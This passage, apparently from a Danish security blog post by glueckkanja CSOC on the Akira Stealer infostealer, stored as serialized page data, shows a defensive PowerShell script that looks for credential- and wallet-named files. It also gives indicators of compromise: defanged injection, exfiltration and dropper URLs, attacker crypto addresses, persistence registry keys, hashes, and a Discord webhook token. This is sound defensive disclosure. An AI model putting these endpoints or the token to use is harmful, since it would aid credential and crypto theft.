Desktop, Documents, Downloads and OneDrive for files that:\n",[1683,11539,11540],{"class":1685,"line":3060},[1683,11541,11542],{},"      • Contain one of the defined keywords in their name\n",[1683,11544,11545],{"class":1685,"line":3857},[1683,11546,11547],{},"      • Have an allowed file extension\n",[1683,11549,11550],{"class":1685,"line":3863},[1683,11551,11552],{},"      • Are not larger than 2 MB\n",[1683,11554,11555],{"class":1685,"line":4108},[1683,11556,11557],{},"    Presents the results in a colored, tabular overview.\n",[1683,11559,11560],{"class":1685,"line":5030},[1683,11561,3854],{"emptyLinePlaceholder":325},[1683,11563,11564],{"class":1685,"line":5036},[1683,11565,11566],{},".NOTES\n",[1683,11568,11569],{"class":1685,"line":5042},[1683,11570,11571],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1683,11573,11574],{"class":1685,"line":5048},[1683,11575,11576],{},"#>\n",[1683,11578,11579],{"class":1685,"line":5054},[1683,11580,3854],{"emptyLinePlaceholder":325},[1683,11582,11583],{"class":1685,"line":5060},[1683,11584,11585],{},"# -------------------------------------\n",[1683,11587,11588],{"class":1685,"line":5066},[1683,11589,11590],{},"# 1. Configuration\n",[1683,11592,11593],{"class":1685,"line":5072},[1683,11594,11585],{},[1683,11596,11597],{"class":1685,"line":5078},[1683,11598,11599],{},"$scanFolders = @(\n",[1683,11601,11602],{"class":1685,"line":5084},[1683,11603,11604],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1683,11606,11607],{"class":1685,"line":5090},[1683,11608,11609],{},"    \"$env:USERPROFILE\\Documents\",\n",[1683,11611,11612],{"class":1685,"line":5096},[1683,11613,11614],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1683,11616,11617],{"class":1685,"line":5102},[1683,11618,11619],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1683,11621,11622],{"class":1685,"line":5108},[1683,11623,5249],{},[1683,11625,11626],{"class":1685,"line":5114},[1683,11627,11628],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1683,11630,11631],{"class":1685,"line":5781},[1683,11632,11633],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1683,11635,11636],{"class":1685,"line":5786},[1683,11637,11638],{},"$maxSize    = 2MB\n",[1683,11640,11641],{"class":1685,"line":5791},[1683,11642,3854],{"emptyLinePlaceholder":325},[1683,11644,11645],{"class":1685,"line":5796},[1683,11646,11585],{},[1683,11648,11649],{"class":1685,"line":5802},[1683,11650,11651],{},"# 2. Scan and Collect Matches\n",[1683,11653,11654],{"class":1685,"line":5807},[1683,11655,11585],{},[1683,11657,11658],{"class":1685,"line":5812},[1683,11659,11660],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1683,11662,11663],{"class":1685,"line":5817},[1683,11664,3854],{"emptyLinePlaceholder":325},[1683,11666,11667],{"class":1685,"line":5822},[1683,11668,11669],{},"foreach ($folder in $scanFolders) {\n",[1683,11671,11672],{"class":1685,"line":5827},[1683,11673,11674],{},"    if (-not (Test-Path $folder)) { continue }\n",[1683,11676,11677],{"class":1685,"line":5832},[1683,11678,11679],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1683,11681,11682],{"class":1685,"line":5838},[1683,11683,11684],{},"        # 2.1 Extension filter\n",[1683,11686,11687],{"class":1685,"line":5844},[1683,11688,11689],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1683,11691,11692],{"class":1685,"line":5850},[1683,11693,11694],{},"        # 2.2 Size filter\n",[1683,11696,11697],{"class":1685,"line":5855},[1683,11698,11699],{},"        if ($_.Length -gt $maxSize) { return }\n",[1683,11701,11702],{"class":1685,"line":5860},[1683,11703,3854],{"emptyLinePlaceholder":325},[1683,11705,11706],{"class":1685,"line":5865},[1683,11707,11708],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1683,11710,11711],{"class":1685,"line":5870},[1683,11712,11713],{},"        $hit = $null\n",[1683,11715,11716],{"class":1685,"line":5876},[1683,11717,11718],{},"        foreach ($kw in $keywords) {\n",[1683,11720,11721],{"class":1685,"line":5881},[1683,11722,11723],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1683,11725,11726],{"class":1685,"line":5886},[1683,11727,11728],{},"                $hit = $kw\n",[1683,11730,11731],{"class":1685,"line":5891},[1683,11732,11733],{},"                break\n",[1683,11735,11736],{"class":1685,"line":5896},[1683,11737,11738],{},"            }\n",[1683,11740,11741],{"class":1685,"line":5901},[1683,11742,11743],{},"        }\n",[1683,11745,11746],{"class":1685,"line":5906},[1683,11747,11748],{},"        if (-not $hit) { return }\n",[1683,11750,11751],{"class":1685,"line":5912},[1683,11752,3854],{"emptyLinePlaceholder":325},[1683,11754,11755],{"class":1685,"line":5918},[1683,11756,11757],{},"        # 2.4 Build relative path\n",[1683,11759,11760],{"class":1685,"line":5924},[1683,11761,11762],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1683,11764,11765],{"class":1685,"line":5930},[1683,11766,3854],{"emptyLinePlaceholder":325},[1683,11768,11769],{"class":1685,"line":5935},[1683,11770,11771],{},"        # 2.5 Collect\n",[1683,11773,11774],{"class":1685,"line":5940},[1683,11775,11776],{},"        $matches.Add([PSCustomObject]@{\n",[1683,11778,11779],{"class":1685,"line":5946},[1683,11780,11781],{},"            FileName    = $_.Name\n",[1683,11783,11784],{"class":1685,"line":5952},[1683,11785,11786],{},"            Location    = $rel\n",[1683,11788,11789],{"class":1685,"line":5958},[1683,11790,11791],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1683,11793,11794],{"class":1685,"line":5964},[1683,11795,11796],{},"            Keyword     = $hit\n",[1683,11798,11799],{"class":1685,"line":5969},[1683,11800,11801],{},"        })\n",[1683,11803,11804],{"class":1685,"line":5974},[1683,11805,11806],{},"    }\n",[1683,11808,11809],{"class":1685,"line":5980},[1683,11810,2404],{},[1683,11812,11813],{"class":1685,"line":5985},[1683,11814,3854],{"emptyLinePlaceholder":325},[1683,11816,11817],{"class":1685,"line":5990},[1683,11818,11585],{},[1683,11820,11821],{"class":1685,"line":5996},[1683,11822,11823],{},"# 3. Display Results\n",[1683,11825,11826],{"class":1685,"line":6002},[1683,11827,11585],{},[1683,11829,11830],{"class":1685,"line":6008},[1683,11831,11832],{},"clear\n",[1683,11834,11835],{"class":1685,"line":6013},[1683,11836,11837],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1683,11839,11840],{"class":1685,"line":6019},[1683,11841,11842],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1683,11844,11845],{"class":1685,"line":6025},[1683,11846,3854],{"emptyLinePlaceholder":325},[1683,11848,11849],{"class":1685,"line":6030},[1683,11850,11851],{},"if ($matches.Count -gt 0) {\n",[1683,11853,11854],{"class":1685,"line":6036},[1683,11855,11856],{},"    $matches |\n",[1683,11858,11859],{"class":1685,"line":6042},[1683,11860,11861],{},"        Sort-Object Location, FileName |\n",[1683,11863,11864],{"class":1685,"line":6047},[1683,11865,11866],{},"        Format-Table -AutoSize `\n",[1683,11868,11869],{"class":1685,"line":6052},[1683,11870,11871],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1683,11873,11874],{"class":1685,"line":6057},[1683,11875,11876],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1683,11878,11879],{"class":1685,"line":6063},[1683,11880,11881],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1683,11883,11885],{"class":1685,"line":11884},79,[1683,11886,11887],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1683,11889,11891],{"class":1685,"line":11890},80,[1683,11892,3854],{"emptyLinePlaceholder":325},[1683,11894,11896],{"class":1685,"line":11895},81,[1683,11897,11898],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1683,11900,11902],{"class":1685,"line":11901},82,[1683,11903,2404],{},[1683,11905,11907],{"class":1685,"line":11906},83,[1683,11908,11909],{},"else {\n",[1683,11911,11913],{"class":1685,"line":11912},84,[1683,11914,11915],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1683,11917,11919],{"class":1685,"line":11918},85,[1683,11920,2404],{},[1683,11922,11924],{"class":1685,"line":11923},86,[1683,11925,3854],{"emptyLinePlaceholder":325},[1683,11927,11929],{"class":1685,"line":11928},87,[1683,11930,11931],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1683,11933,11935],{"class":1685,"line":11934},88,[1683,11936,11937],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[826,11939],{"className":11940},[829,830],[528,11942,11944],{"id":11943},"_12-mere-end-respons-sådan-forvandler-glueckkanja-csoc-hændelser-til-indsigt","12. Mere end respons – sådan forvandler glueckkanja CSOC hændelser til indsigt",[533,11946,535],{},[533,11948,11949,11950],{},"De fleste security operations centers stopper ved inddæmningen.\n",[540,11951,11952],{},"Det gør vi ikke.",[533,11954,11955],{},"Hos glueckkanja CSOC ser vi ikke incident response som målstregen, men som startpunktet.",[533,11957,11958],{},"Når andre erklærer sejr og går videre, graver vi dybere. For os er hver hændelse en anledning til at lære, tilpasse os og blive stærkere. Vores utrættelige nysgerrighed, drevet af mange års dyb forensisk erfaring og evne til reverse engineering, sikrer, at vi ikke bare forsvarer, vi forudser.",[533,11960,11961,11962,586],{},"Den tilgang er grunden til, at vi byggede ",[540,11963,11964],{},"Akira Compromise Reporter",[533,11966,11967],{},"Dette internt udviklede forensiske værktøj rækker langt ud over almindelig detektion. Det bruger vores indgående kendskab til Akira Stealer til at give fuld klarhed over, hvilke data der er kompromitteret. Inden for få minutter leverer det et præcist og handlingsanvisende øjebliksbillede af hændelsens fulde omfang:",[604,11969,11970,11973,11976],{},[607,11971,11972],{},"Præcis hvilke loginoplysninger, tokens og browsersessioner der blev stjålet.",[607,11974,11975],{},"Nøjagtigt hvilke kryptowallets, beskedkonti og filer der blev eksponeret.",[607,11977,11978],{},"En klar, struktureret og detaljeret forensisk rapport, der forvandler usikkerhed til hurtig og velinformeret handling.",[533,11980,11981],{},[748,11982],{"alt":11983,"src":11984},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[533,11986,11987],{},"For hos glueckkanja måler vi ikke kun succes på, hvor mange trusler vi blokerer, men på den klarhed vi skaber. Cybersikkerhed, gjort rigtigt, handler ikke om blot at reagere på hændelser, det handler om at forstå, tilpasse sig og altid være et skridt foran.",[533,11989,11990],{},[540,11991,11992],{},"Det er forskellen ved glueckkanja CSOC.",[528,11994,11996],{"id":11995},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[533,11998,535],{},[533,12000,12001],{},"Nedenfor følger en omfattende, ordret samling af IOC'er, udtrukket direkte fra malwarekoden under vores interne reverse engineering hos glueckkanja CSOC. Der er ikke brugt antagelser eller eksterne threat intel-kilder, alle indikatorer er bekræftede fund. Alle URL'er er bevidst obfuskerede for at forhindre utilsigtede klik.",[533,12003,12004],{},[540,12005,12006],{},"Forkortelser:",[604,12008,12009,12015],{},[607,12010,12011,12014],{},[540,12012,12013],{},"TG:"," Telegram-rapporteringskanal",[607,12016,12017,12020],{},[540,12018,12019],{},"Alt:"," Alternativt endpoint (fallback)",[714,12022,12024],{"id":12023},"_1-domæner-og-urler","1. Domæner og URL'er",[533,12026,720],{},[1391,12028,4686,12030],{"className":12029,"style":11105},[11104],[1407,12031,12032,4686,12044,4686,12057,4686,12070,4686,12083,4686,12096,4686,12109,4686,12122,4686,12137,4686,12153,4686,12166,4686,12179,4686,12192,4686,12205,4686,12218,4686,12231,4686,12244,4686,12257,4686,12270,4686,12283,4686,12297,4686,12310],{},[1397,12033,4691,12034,4691,12038,4691,12042,4686],{},[1400,12035,12037],{"style":12036},"text-align: left; width: 18%;","Kategori",[1400,12039,12041],{"style":12040},"text-align: left; width: 52%;","Obfuskeret URL",[1400,12043,4860],{},[1397,12045,4691,12046,4691,12049,4691,12054,4686],{},[1412,12047,12048],{},"Primær injektion",[1412,12050,12051],{},[551,12052,12053],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1412,12055,12056],{},"Angriberens indledende webhook-endpoint",[1397,12058,4691,12059,4691,12062,4691,12067,4686],{},[1412,12060,12061],{},"Injektion via fallback",[1412,12063,12064],{},[551,12065,12066],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1412,12068,12069],{},"Alternativt injector-endpoint",[1397,12071,4691,12072,4691,12075,4691,12080,4686],{},[1412,12073,12074],{},"Fejlrapportering (TG)",[1412,12076,12077],{},[551,12078,12079],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1412,12081,12082],{},"URL til fejl- og lograpportering via Telegram",[1397,12084,4691,12085,4691,12088,4691,12093,4686],{},[1412,12086,12087],{},"Fejlrapportering (Alt)",[1412,12089,12090],{},[551,12091,12092],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1412,12094,12095],{},"Alternativ URL til fejl- og lograpportering",[1397,12097,4691,12098,4691,12101,4691,12106,4686],{},[1412,12099,12100],{},"Vanity-bot (TG)",[1412,12102,12103],{},[551,12104,12105],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1412,12107,12108],{},"Endpoint til notifikation om vanity-adresser",[1397,12110,4691,12111,4691,12114,4691,12119,4686],{},[1412,12112,12113],{},"Vanity-bot (Alt)",[1412,12115,12116],{},[551,12117,12118],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1412,12120,12121],{},"Alternativt endpoint til vanity-notifikation",[1397,12123,4691,12124,4691,12127,4691,12132,4686],{},[1412,12125,12126],{},"Exodus-injektion",[1412,12128,12129],{},[551,12130,12131],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1412,12133,12134,12135],{},"Electron-appmodulen ",[551,12136,4589],{},[1397,12138,4691,12139,4691,12142,4691,12147,4686],{},[1412,12140,12141],{},"Atomic-injektion",[1412,12143,12144],{},[551,12145,12146],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1412,12148,12149,12150],{},"Electron-modulen ",[551,12151,12152],{},"AtomicWallet",[1397,12154,4691,12155,4691,12158,4691,12163,4686],{},[1412,12156,12157],{},"Download af Updater",[1412,12159,12160],{},[551,12161,12162],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1412,12164,12165],{},"Eksekverbar dropper til persistens",[1397,12167,4691,12168,4691,12171,4691,12176,4686],{},[1412,12169,12170],{},"Gofile API-liste",[1412,12172,12173],{},[551,12174,12175],{},"https[:]//api.gofile[.]io/servers",[1412,12177,12178],{},"Henter den bedste GoFile-uploadserver",[1397,12180,4691,12181,4691,12184,4691,12189,4686],{},[1412,12182,12183],{},"Tjek af Discord-token",[1412,12185,12186],{},[551,12187,12188],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1412,12190,12191],{},"Validerer et stjålet Discord-token",[1397,12193,4691,12194,4691,12197,4691,12202,4686],{},[1412,12195,12196],{},"Discords faktureringsoplysninger",[1412,12198,12199],{},[551,12200,12201],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1412,12203,12204],{},"Henter betalingsmetoder",[1397,12206,4691,12207,4691,12210,4691,12215,4686],{},[1412,12208,12209],{},"Replay af Google OAuth",[1412,12211,12212],{},[551,12213,12214],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1412,12216,12217],{},"Replayer stjålne Google-sessionstokens",[1397,12219,4691,12220,4691,12223,4691,12228,4686],{},[1412,12221,12222],{},"IP-tjek (hosting)",[1412,12224,12225],{},[551,12226,12227],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1412,12229,12230],{},"Detektion af hostingmiljø",[1397,12232,4691,12233,4691,12236,4691,12241,4686],{},[1412,12234,12235],{},"IP-opslag (geo)",[1412,12237,12238],{},[551,12239,12240],{},"http[:]//ip-api[.]com/json/{ip}",[1412,12242,12243],{},"Geolokalisering ud fra IP",[1397,12245,4691,12246,4691,12249,4691,12254,4686],{},[1412,12247,12248],{},"Hentning af offentlig IP",[1412,12250,12251],{},[551,12252,12253],{},"https[:]//api[.]ipify[.]org",[1412,12255,12256],{},"Henter den eksterne IP-adresse",[1397,12258,4691,12259,4691,12262,4691,12267,4686],{},[1412,12260,12261],{},"Upload til File.io",[1412,12263,12264],{},[551,12265,12266],{},"https[:]//file[.]io/",[1412,12268,12269],{},"Sekundær eksfiltreringskanal",[1397,12271,4691,12272,4691,12275,4691,12280,4686],{},[1412,12273,12274],{},"Upload til Oshi.at",[1412,12276,12277],{},[551,12278,12279],{},"http[:]//oshi[.]at/",[1412,12281,12282],{},"Tertiær eksfiltreringskanal",[1397,12284,4691,12285,4691,12288,4691,12294,4686],{},[1412,12286,12287],{},"JS-dropper, primær",[1412,12289,12290],{},[693,12291,12293],{"href":12292,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1412,12295,12296],{},"Fjernreference til den egentlige ZIP-URL",[1397,12298,4691,12299,4691,12302,4691,12307,4686],{},[1412,12300,12301],{},"JS-dropper, fallback 1",[1412,12303,12304],{},[693,12305,12306],{"href":3601,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1412,12308,12309],{},"Alternativ ZIP med payload",[1397,12311,4691,12312,4691,12315,4691,12320,4686],{},[1412,12313,12314],{},"JS-dropper, fallback 2",[1412,12316,12317],{},[693,12318,12319],{"href":3606,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1412,12321,12322],{},"Sekundær fallback-ZIP med payload",[826,12324],{"className":12325},[829,830],[714,12327,12329],{"id":12328},"_2-kryptovaluta-adresser","2. Kryptovaluta-adresser",[533,12331,720],{},[1391,12333,4686,12335],{"className":12334,"style":11105},[11104],[1407,12336,12337,4686,12345,4686,12355,4686,12365,4686,12375,4686,12384,4686,12394,4686,12404,4686,12414,4686,12424,4686,12434],{},[1397,12338,4691,12339,4691,12342,4686],{},[1400,12340,12341],{"style":11116},"Valuta",[1400,12343,12344],{},"Adresse",[1397,12346,4691,12347,4691,12350,4686],{},[1412,12348,12349],{},"BTC",[1412,12351,12352],{},[551,12353,12354],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1397,12356,4691,12357,4691,12360,4686],{},[1412,12358,12359],{},"ETH",[1412,12361,12362],{},[551,12363,12364],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1397,12366,4691,12367,4691,12370,4686],{},[1412,12368,12369],{},"DOGE",[1412,12371,12372],{},[551,12373,12374],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1397,12376,4691,12377,4691,12380,4686],{},[1412,12378,12379],{},"LTC",[1412,12381,12382],{},[551,12383,11147],{},[1397,12385,4691,12386,4691,12389,4686],{},[1412,12387,12388],{},"XMR",[1412,12390,12391],{},[551,12392,12393],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1397,12395,4691,12396,4691,12399,4686],{},[1412,12397,12398],{},"BCH",[1412,12400,12401],{},[551,12402,12403],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1397,12405,4691,12406,4691,12409,4686],{},[1412,12407,12408],{},"DASH",[1412,12410,12411],{},[551,12412,12413],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1397,12415,4691,12416,4691,12419,4686],{},[1412,12417,12418],{},"TRX",[1412,12420,12421],{},[551,12422,12423],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1397,12425,4691,12426,4691,12429,4686],{},[1412,12427,12428],{},"XRP",[1412,12430,12431],{},[551,12432,12433],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1397,12435,4691,12436,4691,12439,4686],{},[1412,12437,12438],{},"XLM",[1412,12440,12441],{},[551,12442,12443],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[826,12445],{"className":12446},[829,830],[714,12448,12450],{"id":12449},"_3-registry-nøgler-og-stier","3. Registry-nøgler og stier",[533,12452,720],{},[1391,12454,4686,12456],{"className":12455,"style":11105},[11104],[1407,12457,12458,4686,12465,4686,12475,4686,12485,4686,12498],{},[1397,12459,4691,12460,4691,12463,4686],{},[1400,12461,1652],{"style":12462},"text-align: left; width: 60%;",[1400,12464,1184],{},[1397,12466,4691,12467,4691,12472,4686],{},[1412,12468,12469],{},[551,12470,12471],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1412,12473,12474],{},"Tjekker efter signatur fra en virtuel GPU-driver",[1397,12476,4691,12477,4691,12482,4686],{},[1412,12478,12479],{},[551,12480,12481],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1412,12483,12484],{},"Tjekker efter udbydernavn på en virtuel GPU",[1397,12486,4691,12487,4691,12495,4686],{},[1412,12488,12489,12492,12493,1112],{},[551,12490,12491],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (værdien ",[540,12494,1663],{},[1412,12496,12497],{},"Persistens via Run-nøglen (Updater.exe)",[1397,12499,4691,12500,4691,12504,4686],{},[1412,12501,12502],{},[551,12503,1671],{},[1412,12505,12506],{},"Eksekverbar fil til persistens",[826,12508],{"className":12509},[829,830],[714,12511,12513],{"id":12512},"_5-filer-og-hashes","5. Filer og hashes",[533,12515,720],{},[1391,12517,4686,12519],{"className":12518,"style":11105},[11104],[1407,12520,12521,4686,12533,4686,12545,4686,12557,4686,12570,4686,12582,4686,12594,4686,12606,4686,12618,4686,12631,4686,12643,4686,12656,4686,12668],{},[1397,12522,4691,12523,4691,12526,4691,12530,4686],{},[1400,12524,12525],{"style":12036},"Filnavn",[1400,12527,12529],{"style":12528},"text-align: left; width: 62%;","SHA256",[1400,12531,12532],{},"Størrelse (bytes)",[1397,12534,4691,12535,4691,12537,4691,12542,4686],{},[1412,12536,1825],{},[1412,12538,12539],{},[551,12540,12541],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1412,12543,12544],{},"63936274",[1397,12546,4691,12547,4691,12549,4691,12554,4686],{},[1412,12548,578],{},[1412,12550,12551],{},[551,12552,12553],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1412,12555,12556],{},"162036224",[1397,12558,4691,12559,4691,12562,4691,12567,4686],{},[1412,12560,12561],{},"jscrypter.js",[1412,12563,12564],{},[551,12565,12566],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1412,12568,12569],{},"1429",[1397,12571,4691,12572,4691,12574,4691,12579,4686],{},[1412,12573,2816],{},[1412,12575,12576],{},[551,12577,12578],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1412,12580,12581],{},"30138",[1397,12583,4691,12584,4691,12586,4691,12591,4686],{},[1412,12585,2813],{},[1412,12587,12588],{},[551,12589,12590],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1412,12592,12593],{},"7155",[1397,12595,4691,12596,4691,12598,4691,12603,4686],{},[1412,12597,2740],{},[1412,12599,12600],{},[551,12601,12602],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1412,12604,12605],{},"211",[1397,12607,4691,12608,4691,12610,4691,12615,4686],{},[1412,12609,582],{},[1412,12611,12612],{},[551,12613,12614],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1412,12616,12617],{},"205210",[1397,12619,4691,12620,4691,12623,4691,12628,4686],{},[1412,12621,12622],{},"exodus.asar",[1412,12624,12625],{},[551,12626,12627],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1412,12629,12630],{},"132486332",[1397,12632,4691,12633,4691,12635,4691,12640,4686],{},[1412,12634,1883],{},[1412,12636,12637],{},[551,12638,12639],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1412,12641,12642],{},"28454",[1397,12644,4691,12645,4691,12648,4691,12653,4686],{},[1412,12646,12647],{},"download.dat",[1412,12649,12650],{},[551,12651,12652],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1412,12654,12655],{},"21142",[1397,12657,4691,12658,4691,12660,4691,12665,4686],{},[1412,12659,2874],{},[1412,12661,12662],{},[551,12663,12664],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1412,12666,12667],{},"32375391",[1397,12669,4691,12670,4691,12672,4691,12677,4686],{},[1412,12671,574],{},[1412,12673,12674],{},[551,12675,12676],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1412,12678,12679],{},"37652937",[826,12681],{"className":12682},[829,830],[714,12684,12686],{"id":12685},"_5-discord-og-telegram-identifikatorer","5. Discord- og Telegram-identifikatorer",[533,12688,720],{},[1391,12690,4686,12692],{"className":12691,"style":11105},[11104],[1407,12693,12694,4686,12700,4686,12710,4686,12720],{},[1397,12695,4691,12696,4691,12698,4686],{},[1400,12697,12037],{"style":6303},[1400,12699,1405],{},[1397,12701,4691,12702,4691,12705,4686],{},[1412,12703,12704],{},"Discord Webhook ID",[1412,12706,12707],{},[551,12708,12709],{},"1226766972675428372",[1397,12711,4691,12712,4691,12715,4686],{},[1412,12713,12714],{},"Discord Webhook Token",[1412,12716,12717],{},[551,12718,12719],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1397,12721,4691,12722,4691,12725,4686],{},[1412,12723,12724],{},"Telegram ID",[1412,12726,12727],{},[551,12728,12729],{},"5035121855",[826,12731],{"className":12732},[829,830],[528,12734,12736],{"id":12735},"_14-tilbageblik-på-akira-stealer-hændelsen-styrk-jeres-forsvar-med-glueckkanja-csoc","14. Tilbageblik på Akira Stealer-hændelsen: styrk jeres forsvar med glueckkanja CSOC",[533,12738,535],{},[533,12740,12741],{},"Gennem hele dette indlæg har vi gennemgået, hvor avanceret Akira Infostealer er, en fremskreden cybertrussel kendetegnet ved målrettet tyveri af loginoplysninger, lydløs dataeksfiltrering og vedholdende metoder til at omgå traditionelt forsvar. At forstå, hvordan malwaren fungerer, hvilke risici den medfører, og hvilke svagheder den udnytter, er afgørende for at bygge en robust cybersikkerhedsstrategi.",[533,12743,12744],{},"Akira Infostealer går målrettet efter følsomme data som loginoplysninger, browsersessioner, kryptowallets, beskedtjenester og filer, der tilhører personen eller organisationen. Dens kalkulerede og præcise metoder kræver mere end almindelige sikkerhedsforanstaltninger, de kræver løbende overvågning, dybdegående forensisk analyse og proaktiv threat intelligence.",[533,12746,12747],{},"Hos glueckkanja CSOC bruger vi vores dybe tekniske erfaring og avancerede analysekapacitet til at nå videre end almindelig detektion. Vores specialiserede team overvåger trusler i realtid døgnet rundt fra vores dedikerede CSOC-servere, og det gør det muligt at identificere, undersøge grundigt og effektivt neutralisere trusler som Akira Infostealer med det samme.",[533,12749,12750],{},"Men vores arbejde stopper ikke ved incident response. Hver opdaget hændelse beriger vores vidensgrundlag, styrker vores sikkerhedsniveau og sikrer, at vi bliver flere skridt foran fremtidige trusler. Med glueckkanja CSOC får du mere end beskyttelse, du får en tilpasningsdygtig sikkerhedspartner, der er forpligtet på jeres modstandskraft på lang sigt.",[533,12752,12753],{},"Tag det næste skridt i sikringen af jeres organisations digitale aktiver.",[533,12755,12756],{},"Kontakt glueckkanjas cybersikkerhedseksperter i dag, så sikrer vi proaktivt jeres fremtid sammen.",[533,12758,12759],{},[540,12760,12761],{},"Styrk jeres forsvar med glueckkanja CSOC.",[528,12763,12765],{"id":12764},"_15-sikkerhedsmæssig-og-juridisk-ansvarsfraskrivelse-brug-af-ægte-malwarekode","15. Sikkerhedsmæssig og juridisk ansvarsfraskrivelse – brug af ægte malwarekode",[533,12767,535],{},[533,12769,12770],{},"Denne publikation indeholder detaljeret teknisk indsigt, heriblandt kodeudsnit og adfærdsanalyser, der stammer fra faktisk skadelig software, som blev fundet under incident response og forensiske undersøgelser. Formålet med at dele oplysningerne er udelukkende oplysende og skal hjælpe professionelle forsvarere med at forstå, opdage og reagere mere effektivt på trusler fra den virkelige verden. Vi udgiver dette i god tro og med ønsket om at bidrage til sikkerhedsfællesskabet bredt set.",[533,12772,12773],{},"Det er vigtigt at bemærke, at dele af den medtagne kode stammer fra trusselsaktørers værktøjskasser og fra malwaresamples, der cirkulerer i naturen. Fragmenterne er ikke vores immaterielle ejendom, og de skal heller ikke betragtes som sikre, rensede eller 